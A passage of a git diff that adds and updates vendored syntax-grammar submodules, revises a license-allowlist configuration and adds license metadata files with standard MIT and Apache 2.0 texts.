index 0000000000..af933c4b87
--- /dev/null
+++ b/vendor/grammars/tlv-vscode
@@ -0,0 +1 @@
+Subproject commit af933c4b87d36310f731cad7808ff8c386c3e433
diff --git a/vendor/grammars/toml.tmbundle b/vendor/grammars/toml.tmbundle
index db38899d96..e82b64c1e8 160000
--- a/vendor/grammars/toml.tmbundle
+++ b/vendor/grammars/toml.tmbundle
@@ -1 +1 @@
-Subproject commit db38899d9607ffd2ee89ed134223a932012e94ed
+Subproject commit e82b64c1e86396220786846201e9aa3f0a2d9ca2
diff --git a/vendor/grammars/typst-grammar b/vendor/grammars/typst-grammar
new file mode 160000
index 0000000000..180d59e6f4
--- /dev/null
+++ b/vendor/grammars/typst-grammar
@@ -0,0 +1 @@
+Subproject commit 180d59e6f4e09941d778b5fa6fc48d52211294a1
diff --git a/vendor/grammars/vhdl b/vendor/grammars/vhdl
new file mode 160000
index 0000000000..ba4d6e438e
--- /dev/null
+++ b/vendor/grammars/vhdl
@@ -0,0 +1 @@
+Subproject commit ba4d6e438eedeab49217219163ade0b06f3aacab
diff --git a/vendor/grammars/vsc-ember-syntax b/vendor/grammars/vsc-ember-syntax
new file mode 160000
index 0000000000..5971439b47
--- /dev/null
+++ b/vendor/grammars/vsc-ember-syntax
@@ -0,0 +1 @@
+Subproject commit 5971439b47f0002d4786f41c311568be75a719a2
diff --git a/vendor/grammars/vsc-fennel b/vendor/grammars/vsc-fennel
new file mode 160000
index 0000000000..4fb7fc5ab3
--- /dev/null
+++ b/vendor/grammars/vsc-fennel
@@ -0,0 +1 @@
+Subproject commit 4fb7fc5ab382d37e203d9bda52daeab7d91e95f4
diff --git a/vendor/grammars/vscode-TalonScript b/vendor/grammars/vscode-TalonScript
new file mode 160000
index 0000000000..d422be3703
--- /dev/null
+++ b/vendor/grammars/vscode-TalonScript
@@ -0,0 +1 @@
+Subproject commit d422be3703e2b726c3538015bff9015a642eeb3e
diff --git a/vendor/grammars/vscode-antlers-language-server b/vendor/grammars/vscode-antlers-language-server
new file mode 160000
index 0000000000..157d0eac3d
--- /dev/null
+++ b/vendor/grammars/vscode-antlers-language-server
@@ -0,0 +1 @@
+Subproject commit 157d0eac3de834662d8616fdc828f554b8a73095
diff --git a/vendor/grammars/vscode-bitbake b/vendor/grammars/vscode-bitbake
new file mode 160000
index 0000000000..5d149d5c5a
--- /dev/null
+++ b/vendor/grammars/vscode-bitbake
@@ -0,0 +1 @@
+Subproject commit 5d149d5c5a1c368bcf970161bfe031ff2f11baed
diff --git a/vendor/grammars/vscode-brightscript-language b/vendor/grammars/vscode-brightscript-language
new file mode 160000
index 0000000000..1e0495d019
--- /dev/null
+++ b/vendor/grammars/vscode-brightscript-language
@@ -0,0 +1 @@
+Subproject commit 1e0495d019ad849a36c1fceb85f16a008939bcf4
diff --git a/vendor/grammars/vscode-caddyfile b/vendor/grammars/vscode-caddyfile
new file mode 160000
index 0000000000..7e25ac572e
--- /dev/null
+++ b/vendor/grammars/vscode-caddyfile
@@ -0,0 +1 @@
+Subproject commit 7e25ac572eaf74ac916eeb2f3dc3ba2ac9faf042
diff --git a/vendor/grammars/vscode-cadence b/vendor/grammars/vscode-cadence
new file mode 160000
index 0000000000..8763dd6938
--- /dev/null
+++ b/vendor/grammars/vscode-cadence
@@ -0,0 +1 @@
+Subproject commit 8763dd6938958949bdadaf311653ecb939b45b39
diff --git a/vendor/grammars/vscode-codeql b/vendor/grammars/vscode-codeql
new file mode 160000
index 0000000000..dffbcc28bb
--- /dev/null
+++ b/vendor/grammars/vscode-codeql
@@ -0,0 +1 @@
+Subproject commit dffbcc28bb55e864aba3401d856f0aff4971ad15
diff --git a/vendor/grammars/vscode-cue b/vendor/grammars/vscode-cue
new file mode 160000
index 0000000000..0734615a26
--- /dev/null
+++ b/vendor/grammars/vscode-cue
@@ -0,0 +1 @@
+Subproject commit 0734615a2607fe03f5d6c1816f8f7435179659fc
diff --git a/vendor/grammars/vscode-curry b/vendor/grammars/vscode-curry
new file mode 160000
index 0000000000..0f43e53f58
--- /dev/null
+++ b/vendor/grammars/vscode-curry
@@ -0,0 +1 @@
+Subproject commit 0f43e53f5888dfed22dc777a45b4c9db99efe9ef
diff --git a/vendor/grammars/vscode-dune b/vendor/grammars/vscode-dune
new file mode 160000
index 0000000000..cd0c2057c2
--- /dev/null
+++ b/vendor/grammars/vscode-dune
@@ -0,0 +1 @@
+Subproject commit cd0c2057c24253bf1bfefc804ef496a30213960c
diff --git a/vendor/grammars/vscode-euphoria b/vendor/grammars/vscode-euphoria
new file mode 160000
index 0000000000..2c8eb67391
--- /dev/null
+++ b/vendor/grammars/vscode-euphoria
@@ -0,0 +1 @@
+Subproject commit 2c8eb673910a27bd1924b2392ef400a40dd950b7
diff --git a/vendor/grammars/vscode-fluent b/vendor/grammars/vscode-fluent
new file mode 160000
index 0000000000..9f2a1c1f39
--- /dev/null
+++ b/vendor/grammars/vscode-fluent
@@ -0,0 +1 @@
+Subproject commit 9f2a1c1f39175c1d4da46e5a14f1b11c6d466b63
diff --git a/vendor/grammars/vscode-gcode-syntax b/vendor/grammars/vscode-gcode-syntax
new file mode 160000
index 0000000000..85465f6213
--- /dev/null
+++ b/vendor/grammars/vscode-gcode-syntax
@@ -0,0 +1 @@
+Subproject commit 85465f621309c49d1a6f37767975be8171c37bc5
diff --git a/vendor/grammars/vscode-gedcom b/vendor/grammars/vscode-gedcom
new file mode 160000
index 0000000000..589dd258b1
--- /dev/null
+++ b/vendor/grammars/vscode-gedcom
@@ -0,0 +1 @@
+Subproject commit 589dd258b12b5abde3a3d9355a44c4fbf61d5daf
diff --git a/vendor/grammars/vscode-gleam b/vendor/grammars/vscode-gleam
new file mode 160000
index 0000000000..6ed1e8a5ac
--- /dev/null
+++ b/vendor/grammars/vscode-gleam
@@ -0,0 +1 @@
+Subproject commit 6ed1e8a5acb5c4dbe2d44fe7d01d835ddc09cc9e
diff --git a/vendor/grammars/vscode-go b/vendor/grammars/vscode-go
new file mode 160000
index 0000000000..7252597661
--- /dev/null
+++ b/vendor/grammars/vscode-go
@@ -0,0 +1 @@
+Subproject commit 725259766181b4be91ed84411d6ac564a5ab2e5a
diff --git a/vendor/grammars/vscode-hack b/vendor/grammars/vscode-hack
new file mode 160000
index 0000000000..a1093df0bf
--- /dev/null
+++ b/vendor/grammars/vscode-hack
@@ -0,0 +1 @@
+Subproject commit a1093df0bf994184f98ebe62e321367410260a66
diff --git a/vendor/grammars/vscode-hy b/vendor/grammars/vscode-hy
new file mode 160000
index 0000000000..8dc1b4ff77
--- /dev/null
+++ b/vendor/grammars/vscode-hy
@@ -0,0 +1 @@
+Subproject commit 8dc1b4ff771bc5feaf5a75f57e47c0dae3f378ee
diff --git a/vendor/grammars/vscode-ibmi-languages b/vendor/grammars/vscode-ibmi-languages
new file mode 160000
index 0000000000..7e37b14028
--- /dev/null
+++ b/vendor/grammars/vscode-ibmi-languages
@@ -0,0 +1 @@
+Subproject commit 7e37b14028645e39fbb297baa261b0f6eee97758
diff --git a/vendor/grammars/vscode-janet b/vendor/grammars/vscode-janet
new file mode 160000
index 0000000000..0225a87fb8
--- /dev/null
+++ b/vendor/grammars/vscode-janet
@@ -0,0 +1 @@
+Subproject commit 0225a87fb8c75d9dec024d592f2bdcf74f366e5e
diff --git a/vendor/grammars/vscode-jest b/vendor/grammars/vscode-jest
new file mode 160000
index 0000000000..6c9161c5ba
--- /dev/null
+++ b/vendor/grammars/vscode-jest
@@ -0,0 +1 @@
+Subproject commit 6c9161c5ba66197887ca1c66fa3ca04bc2760ab4
diff --git a/vendor/grammars/vscode-just b/vendor/grammars/vscode-just
new file mode 160000
index 0000000000..7e9bcc81d9
--- /dev/null
+++ b/vendor/grammars/vscode-just
@@ -0,0 +1 @@
+Subproject commit 7e9bcc81d93959259b9e2658a4806c13ff3f926d
diff --git a/vendor/grammars/vscode-lean b/vendor/grammars/vscode-lean
new file mode 160000
index 0000000000..0c5aad6956
--- /dev/null
+++ b/vendor/grammars/vscode-lean
@@ -0,0 +1 @@
+Subproject commit 0c5aad69566fdebe25132c3f7933fb6eb895db3f
diff --git a/vendor/grammars/vscode-lean4 b/vendor/grammars/vscode-lean4
new file mode 160000
index 0000000000..97d7d8c382
--- /dev/null
+++ b/vendor/grammars/vscode-lean4
@@ -0,0 +1 @@
+Subproject commit 97d7d8c382d1549c18b66cd99ab4df0b6634c8f1
diff --git a/vendor/grammars/vscode-livecodescript b/vendor/grammars/vscode-livecodescript
new file mode 160000
index 0000000000..3b1c572b54
--- /dev/null
+++ b/vendor/grammars/vscode-livecodescript
@@ -0,0 +1 @@
+Subproject commit 3b1c572b5497851e438b92d0a88b08c0888e29a9
diff --git a/vendor/grammars/vscode-monkey-c b/vendor/grammars/vscode-monkey-c
new file mode 160000
index 0000000000..c45bd182c1
--- /dev/null
+++ b/vendor/grammars/vscode-monkey-c
@@ -0,0 +1 @@
+Subproject commit c45bd182c137b1e0ef7ca7ea1df3ecc9c8e47983
diff --git a/vendor/grammars/vscode-motoko b/vendor/grammars/vscode-motoko
new file mode 160000
index 0000000000..3d44efebfb
--- /dev/null
+++ b/vendor/grammars/vscode-motoko
@@ -0,0 +1 @@
+Subproject commit 3d44efebfb482c28b0e8f5912946092ff554a994
diff --git a/vendor/grammars/vscode-move-syntax b/vendor/grammars/vscode-move-syntax
new file mode 160000
index 0000000000..4b04e9d614
--- /dev/null
+++ b/vendor/grammars/vscode-move-syntax
@@ -0,0 +1 @@
+Subproject commit 4b04e9d614901097ffc0663fef40bd3e5d87779e
diff --git a/vendor/grammars/vscode-noir b/vendor/grammars/vscode-noir
new file mode 160000
index 0000000000..2376b85cf7
--- /dev/null
+++ b/vendor/grammars/vscode-noir
@@ -0,0 +1 @@
+Subproject commit 2376b85cf7bf78d738cb8e8ecfdd85c44da85ad8
diff --git a/vendor/grammars/vscode-opa b/vendor/grammars/vscode-opa
new file mode 160000
index 0000000000..da67d7544d
--- /dev/null
+++ b/vendor/grammars/vscode-opa
@@ -0,0 +1 @@
+Subproject commit da67d7544d5904f4057fdc0675f0042da76dbb33
diff --git a/vendor/grammars/vscode-pddl b/vendor/grammars/vscode-pddl
new file mode 160000
index 0000000000..37ea303d40
--- /dev/null
+++ b/vendor/grammars/vscode-pddl
@@ -0,0 +1 @@
+Subproject commit 37ea303d40fe1168d04f0abeeff7b93839c2abb0
diff --git a/vendor/grammars/vscode-plantuml b/vendor/grammars/vscode-plantuml
new file mode 160000
index 0000000000..7bc1758ed7
--- /dev/null
+++ b/vendor/grammars/vscode-plantuml
@@ -0,0 +1 @@
+Subproject commit 7bc1758ed73dc269f5721d78c6c6c01f461d7cb0
diff --git a/vendor/grammars/vscode-prisma b/vendor/grammars/vscode-prisma
new file mode 160000
index 0000000000..c2e3bfafa3
--- /dev/null
+++ b/vendor/grammars/vscode-prisma
@@ -0,0 +1 @@
+Subproject commit c2e3bfafa342a8950ef35b646da2c213bc609c71
diff --git a/vendor/grammars/vscode-procfile b/vendor/grammars/vscode-procfile
new file mode 160000
index 0000000000..4e149fd5e7
--- /dev/null
+++ b/vendor/grammars/vscode-procfile
@@ -0,0 +1 @@
+Subproject commit 4e149fd5e757352aa5867b59934acc16e19182a1
diff --git a/vendor/grammars/vscode-proto3 b/vendor/grammars/vscode-proto3
new file mode 160000
index 0000000000..445cf36606
--- /dev/null
+++ b/vendor/grammars/vscode-proto3
@@ -0,0 +1 @@
+Subproject commit 445cf36606f2a6623d4b48e97e255e7272e314a8
diff --git a/vendor/grammars/vscode-python b/vendor/grammars/vscode-python
new file mode 160000
index 0000000000..7ccf01ebe3
--- /dev/null
+++ b/vendor/grammars/vscode-python
@@ -0,0 +1 @@
+Subproject commit 7ccf01ebe33624a7dbb7b69abe5e0c3db11d3735
diff --git a/vendor/grammars/vscode-rbs-syntax b/vendor/grammars/vscode-rbs-syntax
new file mode 160000
index 0000000000..b99890fe16
--- /dev/null
+++ b/vendor/grammars/vscode-rbs-syntax
@@ -0,0 +1 @@
+Subproject commit b99890fe161f1f5d9691239cce9ed44aeb5f8e0d
diff --git a/vendor/grammars/vscode-ron b/vendor/grammars/vscode-ron
new file mode 160000
index 0000000000..8a6f077d64
--- /dev/null
+++ b/vendor/grammars/vscode-ron
@@ -0,0 +1 @@
+Subproject commit 8a6f077d64092fa68d638e956784b27b49431240
diff --git a/vendor/grammars/vscode-scala-syntax b/vendor/grammars/vscode-scala-syntax
new file mode 160000
index 0000000000..fb73e8a0bf
--- /dev/null
+++ b/vendor/grammars/vscode-scala-syntax
@@ -0,0 +1 @@
+Subproject commit fb73e8a0bfcd9a3c45f2c1b712e00c35865a9178
diff --git a/vendor/grammars/vscode-singularity b/vendor/grammars/vscode-singularity
new file mode 160000
index 0000000000..d20475c43a
--- /dev/null
+++ b/vendor/grammars/vscode-singularity
@@ -0,0 +1 @@
+Subproject commit d20475c43a46332ec9b64ce678280789b93b67d0
diff --git a/vendor/grammars/vscode-slice b/vendor/grammars/vscode-slice
new file mode 160000
index 0000000000..77abd6ad4c
--- /dev/null
+++ b/vendor/grammars/vscode-slice
@@ -0,0 +1 @@
+Subproject commit 77abd6ad4c744272c76ab2bd2f387418d11f6e6d
diff --git a/vendor/grammars/vscode-vba b/vendor/grammars/vscode-vba
new file mode 160000
index 0000000000..81317fae24
--- /dev/null
+++ b/vendor/grammars/vscode-vba
@@ -0,0 +1 @@
+Subproject commit 81317fae2433648ca89606a39bd5af7074304b01
diff --git a/vendor/grammars/vscode-vcard b/vendor/grammars/vscode-vcard
new file mode 160000
index 0000000000..875ceb468d
--- /dev/null
+++ b/vendor/grammars/vscode-vcard
@@ -0,0 +1 @@
+Subproject commit 875ceb468d7042685faa3a8f0db3bef3a3a1aaac
diff --git a/vendor/grammars/vscode-vlang b/vendor/grammars/vscode-vlang
new file mode 160000
index 0000000000..0d7778ffc6
--- /dev/null
+++ b/vendor/grammars/vscode-vlang
@@ -0,0 +1 @@
+Subproject commit 0d7778ffc6d524f867cdd72027d99ceb5687fe0f
diff --git a/vendor/grammars/vscode-wit b/vendor/grammars/vscode-wit
new file mode 160000
index 0000000000..e4c1ca60ca
--- /dev/null
+++ b/vendor/grammars/vscode-wit
@@ -0,0 +1 @@
+Subproject commit e4c1ca60cae7767a6bd4330dd5580f1d9e4f67e3
diff --git a/vendor/grammars/vscode-wren b/vendor/grammars/vscode-wren
new file mode 160000
index 0000000000..6a0bab5158
--- /dev/null
+++ b/vendor/grammars/vscode-wren
@@ -0,0 +1 @@
+Subproject commit 6a0bab51586ff0c01dda151445fa2208d4488db9
diff --git a/vendor/grammars/vscode-yara b/vendor/grammars/vscode-yara
new file mode 160000
index 0000000000..abd7b6497a
--- /dev/null
+++ b/vendor/grammars/vscode-yara
@@ -0,0 +1 @@
+Subproject commit abd7b6497a3361240cc0e5c7f5d3f2cfb65d0e7e
diff --git a/vendor/grammars/vscode-zil-language b/vendor/grammars/vscode-zil-language
new file mode 160000
index 0000000000..f713659fe3
--- /dev/null
+++ b/vendor/grammars/vscode-zil-language
@@ -0,0 +1 @@
+Subproject commit f713659fe38fffd4acea7caec151acbd0e3c7b26
diff --git a/vendor/grammars/vscode_cobol b/vendor/grammars/vscode_cobol
new file mode 160000
index 0000000000..8f462073fb
--- /dev/null
+++ b/vendor/grammars/vscode_cobol
@@ -0,0 +1 @@
+Subproject commit 8f462073fbf75ab242ae1a0e22837f6f0c3bf52c
diff --git a/vendor/grammars/vscode_mikrotik_routeros_script b/vendor/grammars/vscode_mikrotik_routeros_script
new file mode 160000
index 0000000000..aaf19c0581
--- /dev/null
+++ b/vendor/grammars/vscode_mikrotik_routeros_script
@@ -0,0 +1 @@
+Subproject commit aaf19c0581ffe238850eb42aefe0ce67bb6ed9d8
diff --git a/vendor/grammars/vue-syntax-highlight b/vendor/grammars/vue-syntax-highlight
index a29a875bf3..2a3e89e415 160000
--- a/vendor/grammars/vue-syntax-highlight
+++ b/vendor/grammars/vue-syntax-highlight
@@ -1 +1 @@
-Subproject commit a29a875bf3e81f780e905c223a96261c04732659
+Subproject commit 2a3e89e415f49f5fbe8bf8bf42e45f8f78ccf642
diff --git a/vendor/grammars/wgsl-analyzer b/vendor/grammars/wgsl-analyzer
new file mode 160000
index 0000000000..8851962fc1
--- /dev/null
+++ b/vendor/grammars/wgsl-analyzer
@@ -0,0 +1 @@
+Subproject commit 8851962fc191aa5ea85a25b0ebd10cb9f70627b3
diff --git a/vendor/grammars/witcherscript-grammar b/vendor/grammars/witcherscript-grammar
new file mode 160000
index 0000000000..20179adb21
--- /dev/null
+++ b/vendor/grammars/witcherscript-grammar
@@ -0,0 +1 @@
+Subproject commit 20179adb21f5fbcb0681ad27672b6de4df325f37
diff --git a/vendor/grammars/wollok-sublime b/vendor/grammars/wollok-sublime
new file mode 160000
index 0000000000..a2d80902de
--- /dev/null
+++ b/vendor/grammars/wollok-sublime
@@ -0,0 +1 @@
+Subproject commit a2d80902dee82a3372952db420eef3983a88a7e1
diff --git a/vendor/grammars/xml.tmbundle b/vendor/grammars/xml.tmbundle
index ff0d3e51d4..715363040b 160000
--- a/vendor/grammars/xml.tmbundle
+++ b/vendor/grammars/xml.tmbundle
@@ -1 +1 @@
-Subproject commit ff0d3e51d42f046f2dc6a1322d21a60eca2038b9
+Subproject commit 715363040b087a0c6720800e6dac30f9708b3f23
diff --git a/vendor/grammars/zeek-sublime b/vendor/grammars/zeek-sublime
new file mode 160000
index 0000000000..01cfdcff93
--- /dev/null
+++ b/vendor/grammars/zeek-sublime
@@ -0,0 +1 @@
+Subproject commit 01cfdcff93d367c024d014556f3ea6fb9c5effdc
diff --git a/vendor/grammars/zephir-sublime b/vendor/grammars/zephir-sublime
index 5b1d75b565..2d68b4ce08 160000
--- a/vendor/grammars/zephir-sublime
+++ b/vendor/grammars/zephir-sublime
@@ -1 +1 @@
-Subproject commit 5b1d75b565894b7d7380e9f994d4a5d8a105867f
+Subproject commit 2d68b4ce08bf445e07df018c07818dc1187b5d3f
diff --git a/vendor/licenses/config.yml b/vendor/licenses/config.yml
index ca30996817..336eb528e9 100644
--- a/vendor/licenses/config.yml
+++ b/vendor/licenses/config.yml
@@ -1,27 +1,29 @@
-whitelist:
+cache_path: "vendor/licenses"
+
+allowed:
   - apache-2.0
   - bsd-2-clause
   - bsd-3-clause
-  - permissive
-  - mit
+  - cc0-1.0
   - isc
+  - mit
   - mpl-2.0
+  - ncsa
+  - permissive
   - unlicense
   - wtfpl
   - zlib
 
-# These dependencies are explicitly ignored
-ignored:
-  rubygem:
-    - bundler
-
 # These dependencies have been reviewed and approved.
 reviewed:
-  rubygem:
-    - mime-types
-  grammar:
-    - Sublime-Lasso
+  git_submodule:
+    - actionscript3-tmbundle # MIT
+    - creole          # License filename is not LICENSE(.*) but rather "The MIT License (MIT)"
+    - bikeshed        # Creative Commons Zero v1.0
+    - Sublime-Lasso   # No license file. License in README
+    - vscode-zil-language # MIT
 
 sources:
   npm: false
-  rubygem: false
+  bundler: false
+  yarn: false
diff --git a/vendor/licenses/git_submodule/AL.dep.yml b/vendor/licenses/git_submodule/AL.dep.yml
new file mode 100644
index 0000000000..978cdb4c18
--- /dev/null
+++ b/vendor/licenses/git_submodule/AL.dep.yml
@@ -0,0 +1,28 @@
+---
+name: AL
+version: 53a70e59e40693501508b6c10654ebc4eb3ae21d
+type: git_submodule
+homepage: https://github.com/microsoft/AL
+license: mit
+licenses:
+- sources: LICENSE.TXT
+  text: "The MIT License (MIT) \nCopyright (c) Microsoft\n\nPermission is hereby granted,
+    free of charge, to any person obtaining a copy of this software and associated
+    documentation files (the \"Software\"), \nto deal in the Software without restriction,
+    including without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, \nand/or sell copies of the Software, and to permit persons
+    to whom the Software is furnished to do so, subject to the following conditions:\nThe
+    above copyright notice and this permission notice shall be included in all copies
+    or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\",
+    WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO
+    THE WARRANTIES OF MERCHANTABILITY, \nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
+    OR OTHER LIABILITY, \nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE."
+- sources: README.MD
+  text: |-
+    Copyright (c) Microsoft Corporation. All rights reserved.
+
+    Licensed under the [MIT](LICENSE.txt) license.
+notices: []
diff --git a/vendor/licenses/git_submodule/Alloy.tmbundle.dep.yml b/vendor/licenses/git_submodule/Alloy.tmbundle.dep.yml
new file mode 100644
index 0000000000..0d78246e3d
--- /dev/null
+++ b/vendor/licenses/git_submodule/Alloy.tmbundle.dep.yml
@@ -0,0 +1,211 @@
+---
+name: Alloy.tmbundle
+version: 0a80fc74e921325da23264889771a88a02877414
+type: git_submodule
+homepage: https://github.com/macekond/Alloy.tmbundle
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Macek Ondřej
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/Assembly-Syntax-Definition.dep.yml b/vendor/licenses/git_submodule/Assembly-Syntax-Definition.dep.yml
new file mode 100644
index 0000000000..8199df04f9
--- /dev/null
+++ b/vendor/licenses/git_submodule/Assembly-Syntax-Definition.dep.yml
@@ -0,0 +1,31 @@
+---
+name: Assembly-Syntax-Definition
+version: 519b7b3c5f8428832dde72a90041d0707f831e5c
+type: git_submodule
+homepage: https://github.com/calculuswhiz/Assembly-Syntax-Definition
+license: mit
+licenses:
+- sources: license.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016 calculuswhiz
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
